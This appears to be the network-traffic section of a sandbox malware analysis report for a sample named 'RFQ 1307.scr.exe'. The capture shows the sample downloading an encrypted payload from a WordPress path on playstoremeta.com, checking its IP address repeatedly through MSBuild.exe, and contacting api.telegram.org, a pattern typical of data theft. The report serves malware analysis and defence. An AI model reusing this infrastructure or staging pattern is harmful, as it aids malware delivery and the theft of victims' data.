Oct 21, 2024 13:18:01.507529020 CEST	443	49986	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:01.507664919 CEST	49986	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:01.507860899 CEST	49986	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:01.507879019 CEST	443	49986	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:01.553750992 CEST	49985	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:02.130011082 CEST	443	49986	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:02.131665945 CEST	49986	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:02.131692886 CEST	443	49986	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:02.282037020 CEST	443	49986	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:02.282207966 CEST	443	49986	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:02.282265902 CEST	49986	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:02.282655954 CEST	49986	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:02.285602093 CEST	49985	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:02.286643028 CEST	49987	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:02.291657925 CEST	80	49985	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:02.291722059 CEST	49985	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:02.293572903 CEST	80	49987	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:02.293648005 CEST	49987	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:02.293766975 CEST	49987	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:02.299158096 CEST	80	49987	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:04.805286884 CEST	80	49987	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:04.806674004 CEST	49988	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:04.806718111 CEST	443	49988	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:04.806798935 CEST	49988	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:04.807046890 CEST	49988	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:04.807075977 CEST	443	49988	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:04.850754976 CEST	49987	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:05.427829981 CEST	443	49988	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:05.429771900 CEST	49988	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:05.429795027 CEST	443	49988	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:05.570915937 CEST	443	49988	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:05.571031094 CEST	443	49988	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:05.571118116 CEST	49988	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:05.571666002 CEST	49988	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:05.574537992 CEST	49987	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:05.575706005 CEST	49989	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:05.580532074 CEST	80	49987	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:05.580612898 CEST	49987	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:05.581068039 CEST	80	49989	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:05.581139088 CEST	49989	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:05.581226110 CEST	49989	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:05.586503983 CEST	80	49989	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:06.195794106 CEST	49705	80	192.168.2.9	199.232.210.172
Oct 21, 2024 13:18:06.201617956 CEST	80	49705	199.232.210.172	192.168.2.9
Oct 21, 2024 13:18:06.201675892 CEST	49705	80	192.168.2.9	199.232.210.172
Oct 21, 2024 13:18:07.300645113 CEST	80	49989	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:07.303334951 CEST	49990	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:07.303366899 CEST	443	49990	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:07.303687096 CEST	49990	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:07.303687096 CEST	49990	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:07.303714037 CEST	443	49990	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:07.350631952 CEST	49989	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:07.921124935 CEST	443	49990	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:07.922924995 CEST	49990	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:07.922947884 CEST	443	49990	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:08.063715935 CEST	443	49990	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:08.063823938 CEST	443	49990	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:08.063895941 CEST	49990	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:08.064456940 CEST	49990	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:08.078408003 CEST	49989	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:08.086963892 CEST	80	49989	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:08.087024927 CEST	49989	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:08.087631941 CEST	49991	443	192.168.2.9	149.154.167.220
Oct 21, 2024 13:18:08.087666035 CEST	443	49991	149.154.167.220	192.168.2.9
Oct 21, 2024 13:18:08.087977886 CEST	49991	443	192.168.2.9	149.154.167.220
Oct 21, 2024 13:18:08.088113070 CEST	49991	443	192.168.2.9	149.154.167.220
Oct 21, 2024 13:18:08.088124037 CEST	443	49991	149.154.167.220	192.168.2.9
Oct 21, 2024 13:18:08.936561108 CEST	443	49991	149.154.167.220	192.168.2.9
Oct 21, 2024 13:18:08.936687946 CEST	49991	443	192.168.2.9	149.154.167.220
Oct 21, 2024 13:18:08.938474894 CEST	49991	443	192.168.2.9	149.154.167.220
Oct 21, 2024 13:18:08.938483953 CEST	443	49991	149.154.167.220	192.168.2.9
Oct 21, 2024 13:18:08.938728094 CEST	443	49991	149.154.167.220	192.168.2.9
Oct 21, 2024 13:18:08.940088034 CEST	49991	443	192.168.2.9	149.154.167.220
Oct 21, 2024 13:18:08.987325907 CEST	443	49991	149.154.167.220	192.168.2.9
Oct 21, 2024 13:18:09.369127035 CEST	443	49991	149.154.167.220	192.168.2.9
Oct 21, 2024 13:18:09.369195938 CEST	443	49991	149.154.167.220	192.168.2.9
Oct 21, 2024 13:18:09.369256020 CEST	49991	443	192.168.2.9	149.154.167.220
Oct 21, 2024 13:18:09.372852087 CEST	49991	443	192.168.2.9	149.154.167.220
Oct 21, 2024 13:18:14.841872931 CEST	49945	80	192.168.2.9	193.122.130.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 13:17:15.309210062 CEST	64865	53	192.168.2.9	1.1.1.1
Oct 21, 2024 13:17:15.686065912 CEST	53	64865	1.1.1.1	192.168.2.9
Oct 21, 2024 13:17:50.519483089 CEST	55513	53	192.168.2.9	1.1.1.1
Oct 21, 2024 13:17:50.527458906 CEST	53	55513	1.1.1.1	192.168.2.9
Oct 21, 2024 13:17:52.050806999 CEST	60251	53	192.168.2.9	1.1.1.1
Oct 21, 2024 13:17:52.058911085 CEST	53	60251	1.1.1.1	192.168.2.9
Oct 21, 2024 13:18:08.078999043 CEST	57777	53	192.168.2.9	1.1.1.1
Oct 21, 2024 13:18:08.086982012 CEST	53	57777	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 21, 2024 13:17:15.309210062 CEST	192.168.2.9	1.1.1.1	0xd30a	Standard query (0)	playstoremeta.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:50.519483089 CEST	192.168.2.9	1.1.1.1	0x221e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:52.050806999 CEST	192.168.2.9	1.1.1.1	0x618b	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:18:08.078999043 CEST	192.168.2.9	1.1.1.1	0x2efb	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 21, 2024 13:17:10.130351067 CEST	1.1.1.1	192.168.2.9	0x24e1	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 13:17:10.130351067 CEST	1.1.1.1	192.168.2.9	0x24e1	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:15.686065912 CEST	1.1.1.1	192.168.2.9	0xd30a	No error (0)	playstoremeta.com		103.159.36.18	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:31.386816978 CEST	1.1.1.1	192.168.2.9	0xe4e1	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 13:17:31.386816978 CEST	1.1.1.1	192.168.2.9	0xe4e1	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:44.109554052 CEST	1.1.1.1	192.168.2.9	0x1820	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 13:17:44.109554052 CEST	1.1.1.1	192.168.2.9	0x1820	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:50.527458906 CEST	1.1.1.1	192.168.2.9	0x221e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 13:17:50.527458906 CEST	1.1.1.1	192.168.2.9	0x221e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:50.527458906 CEST	1.1.1.1	192.168.2.9	0x221e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:50.527458906 CEST	1.1.1.1	192.168.2.9	0x221e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:50.527458906 CEST	1.1.1.1	192.168.2.9	0x221e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:50.527458906 CEST	1.1.1.1	192.168.2.9	0x221e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:52.058911085 CEST	1.1.1.1	192.168.2.9	0x618b	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:17:52.058911085 CEST	1.1.1.1	192.168.2.9	0x618b	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 21, 2024 13:18:08.086982012 CEST	1.1.1.1	192.168.2.9	0x2efb	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

playstoremeta.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49922	193.122.130.0	80	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 13:17:50.542573929 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 13:17:51.578174114 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:51 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d182adab5fad68767e19d39144004396 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>
Oct 21, 2024 13:17:51.582396030 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 13:17:52.009346008 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:51 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 73b5bf11b105d47d93cef3fd782f005f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>
Oct 21, 2024 13:17:52.915501118 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 13:17:53.298511982 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:53 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b6906882924d69677ecc9b19e4a4ddc6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49945	193.122.130.0	80	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 13:17:54.081959009 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 13:17:54.902934074 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:54 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f4bfa4a0cc6c860c9f72c129e63ab7a1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49956	193.122.130.0	80	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 13:17:55.689577103 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 13:17:56.362643957 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:56 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 27e48890142e11952aea73f155160b6b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49965	193.122.130.0	80	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 13:17:57.176393032 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 13:17:58.017738104 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:57 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6d424c025dbade46dc0cd03323a89970 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49976	193.122.130.0	80	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 13:17:58.785190105 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 13:17:59.595537901 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:17:59 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5860060bd6a6330aa87d9f564eedc86b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49985	193.122.130.0	80	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 13:18:00.371254921 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 13:18:01.505944967 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:18:01 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8cbfefb40a5d622882cdd600dd758dcf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49987	193.122.130.0	80	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 13:18:02.293766975 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 13:18:04.805286884 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:18:04 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 14105bad69404e6ccd862a56c395b54d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49989	193.122.130.0	80	7992	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 13:18:05.581226110 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 13:18:07.300645113 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 11:18:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e7a3cbb73f992503cd4428f3d0723ac7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49732	103.159.36.18	443	7540	C:\Users\user\Desktop\RFQ 1307.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 11:17:17 UTC	94	OUT	GET /wp-includes/Lwkmydbthhy.dat HTTP/1.1 Host: playstoremeta.com Connection: Keep-Alive
2024-10-21 11:17:17 UTC	226	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Sun, 20 Oct 2024 17:56:13 GMT accept-ranges: bytes content-length: 965128 date: Mon, 21 Oct 2024 11:17:17 GMT server: LiteSpeed
2024-10-21 11:17:18 UTC	16384	IN	Data Raw: a8 e1 ea c5 57 8d 6a e3 56 83 d4 f2 90 d9 a1 bd 40 7c 76 f7 8f 2a a4 ca 99 92 a2 9f 61 bc c2 da 53 90 79 17 d2 ca f4 e4 b8 f6 3a 58 7b 49 78 32 0d cb 75 28 75 05 33 6f 6d 9e 31 37 79 9a 61 b2 02 af 5d fd 53 d4 3a da f4 cb b2 4b 93 3f cf a3 10 8d 82 ec 3c ff d3 5d 54 48 0e 3a f9 29 f5 58 55 bf f1 d6 79 24 0f e7 20 88 d4 58 ac 08 3b b0 43 b3 80 db 05 d4 53 69 40 01 71 7e e1 f5 13 57 13 1f 86 d4 74 80 ec 8d b4 1d 31 6b e2 10 01 e4 61 20 16 6a 4a 03 b2 4b 7c 6d f0 34 2e 17 da 08 cd 35 a4 2a 4c 6d 1f 5d 8f 61 d8 62 c9 d6 d7 f9 a5 e4 cc eb bf 72 9e df b8 b8 e0 e6 d1 bd 71 70 29 ac 1a 64 5e 97 81 a9 78 5a 82 21 84 fa 2a 77 69 31 d5 5e 67 4b 34 b8 76 09 6c 7d b7 00 93 67 b7 08 43 cf 09 d9 96 ef 0f 29 c6 35 93 c8 13 7c 21 87 f7 e8 93 5e cc 28 a9 49 8c 80 2b ed 26 Data Ascii: WjV@\|vaSy:X{Ix2u(u3om17ya]S:K?<]TH:)XUy$ X;CSi@q~Wt1ka jJK\|m4.5Lm]abrqp)d^xZ!*wi1^gK4vl}gC)5\|!^(I+&
2024-10-21 11:17:18 UTC	16384	IN	Data Raw: b8 00 70 4a aa 9c 5e cc 69 47 91 46 7d c3 b6 03 85 70 93 40 57 99 53 07 1a 1a 1e d1 39 c1 e0 80 6e f5 e8 bc 9f ec a5 5b 0e 2f c1 5a 1e 40 34 8a fb d6 61 26 32 9b d6 9e 20 d0 11 45 f2 4e d0 34 fd 1b 8d 59 2d af 0f 6f ca b5 24 65 0e 9f 60 8f 82 c7 e7 c3 f7 02 41 89 ad 9b 6e 66 dd 0e e5 12 16 67 7a 04 f2 1f ba 12 2c f2 aa f0 d1 70 ce cd 41 c8 c9 20 e5 75 43 db 77 7b 00 aa 1d 04 a6 fc a0 70 5d 7e 6c 84 27 c1 8b a2 7d 4e e6 8d f0 0e b8 ee d1 b2 61 5f 77 c6 64 2f 3b 88 f0 00 17 4f 2e 46 11 7f a1 52 02 e7 d2 05 de 4a c6 5b 73 f2 3d 65 24 f2 92 37 1d 7a eb 9c 37 88 fc 8b 89 c2 fe ec ab 18 db 72 a0 17 f3 1f d0 91 7d 1b 0d 00 f0 d6 fb 66 69 b4 a2 11 e2 7e b7 da 17 3e 8f 0e 40 cc 6a 7b 79 9f 91 0f f4 ca 15 a1 01 3c 59 a3 ac f6 f7 66 c2 05 59 f6 de 18 4c 80 4e e5 e1 Data Ascii: pJ^iGF}p@WS9n[/Z@4a&2 EN4Y-o$e`Anfgz,pA uCw{p]~l'}Na_wd/;O.FRJ[s=e$7z7r}fi~>@j{y<YfYLN
